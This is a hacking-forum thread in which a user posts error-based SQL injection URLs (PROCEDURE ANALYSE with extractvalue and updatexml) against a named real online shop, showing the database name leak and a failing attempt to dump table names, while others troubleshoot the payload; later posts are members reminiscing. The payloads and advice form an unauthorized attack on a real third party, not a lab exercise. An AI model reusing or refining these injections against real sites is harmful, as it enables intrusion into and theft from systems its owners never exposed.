

Forum:[Hack Forums](#)

Thread: [XPATH injection after limit clause](#)

DataDumper - December 30, 2015, 2:49 am

Hi guys so i have a problem, i had that kind of problem twice in my life and i am curious...

maybe u know why i cant get select in this query

Code

```
http://www.alexandchloe.com/online_shop/advanced_search_result.php?osCsid=260af112c5edcac  
eac2561bd1a2e988d&keywords=&x=27&y=5&categories_id=26&inc_subcat=1&manufacturers_id=  
&pfrom=&pto=&dfrom=06/01/2008&dto=12/30/2015&max=100 procedure Analyse  
(extractvalue(0,substr(concat(0x27,0x3c623e44617461626173653a20,database()),0x3c2f623e),1,15  
0)),1) -- -
```

that show the database() fine but when i use

Code

```
http://www.alexandchloe.com/online_shop/advanced_search_result.php?osCsid=260af112c5edcac  
eac2561bd1a2e988d&keywords=&x=27&y=5&categories_id=26&inc_subcat=1&manufacturers_id=  
&pfrom=&pto=&dfrom=06/01/2008&dto=12/30/2015&max=100 procedure  
analyse(updatexml(1,concat(0x27,(select substr(group_concat(table_name),1,150) from  
information_schema.tables where table_schema=database())),1),0)-- -  
all i see is
```

Code 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select substr(group_concat(table_name),1,150) from information_schema.tables whe' at line 1

any idea why i cant get select statement in that db version()=5.5.46-cll ?

i had that twice and the other site was also version 5.5.46-cll of mysql...

Mr.0_0 - December 30, 2015, 4:38 pm

You might have to deal with the character limit if its something that is negotiated with the server after submission. I know you can change the form limits with Javascript but this is a request that is being sent to the server. Good question!

DataDumper - December 30, 2015, 11:32 pm

Ya maybe char limit, but the query on other web was 2 times short and still had that problem i think it may be blocked by this ver of sql, there is no select after limit?

ShadowNigg3r - December 31, 2015, 3:33 am

It's breaking at the word "select". This has nothing to do with character limit.

I also tried this and it always breaks on the word select.

Maybe it's filtered or something?

DataDumper - December 31, 2015, 4:04 am

No its not filtered but that ver of db may not accept select other query after limit, its not first web i also had that on twodollarclick pay to click network

benzi - December 31, 2015, 5:45 am

in some versions, we cant use subqueries after limit.

scorpoin - January 2, 2016, 1:31 am

Good to see you broth Fanq and benzi hope you remember its me Net_Spy :) .

benzi - January 2, 2016, 7:41 am

(Jan 2, 2016 02:31 AM)scorpoin Wrote: [\[CITE\]](#) Good to see you broth Fanq and benzi hope you remember its me Net_Spy :) .
long time no see. ?

DataDumper - January 2, 2016, 11:19 am

(Jan 2, 2016 02:31 AM)scorpoin Wrote: [\[CITE\]](#) Good to see you broth Fanq and benzi hope you remember its me Net_Spy :) .
y0 bro i had a break too ;D good 2see you ;]

Mr.0_0 - January 2, 2016, 9:27 pm

(Jan 2, 2016 02:31 AM)scorpoin Wrote: [\[CITE\]](#) Good to see you broth Fanq and benzi hope you remember its me Net_Spy :) .
Wow, wonder if Sho0ter and Apendix are still in the scene..Its been a longggggg time.

Gee4rce - January 4, 2016, 6:26 pm

(Dec 31, 2015 04:33 AM)ShadowNigg3r Wrote: [\[CITE\]](#) This has nothing to do with character limit.
It has, as the error message outputted by the server is limited to 80 chars.

No one except FANEq and benzi may remember me, but i am also still lurking around : >
Nice seeing you guys still around as most others from the past left or became passive readers only.
Huges names just disappeared or got banned which makes me sad as there was so many talents around here.
Hope you keep it up, i have the feeling that we are some of the last guys (from older days) standing in this section...
Cheers, Gee.

DataDumper - January 4, 2016, 8:47 pm

I do remember bro :), its not the same hf but still worth to refresh old days. 2011 was good year :)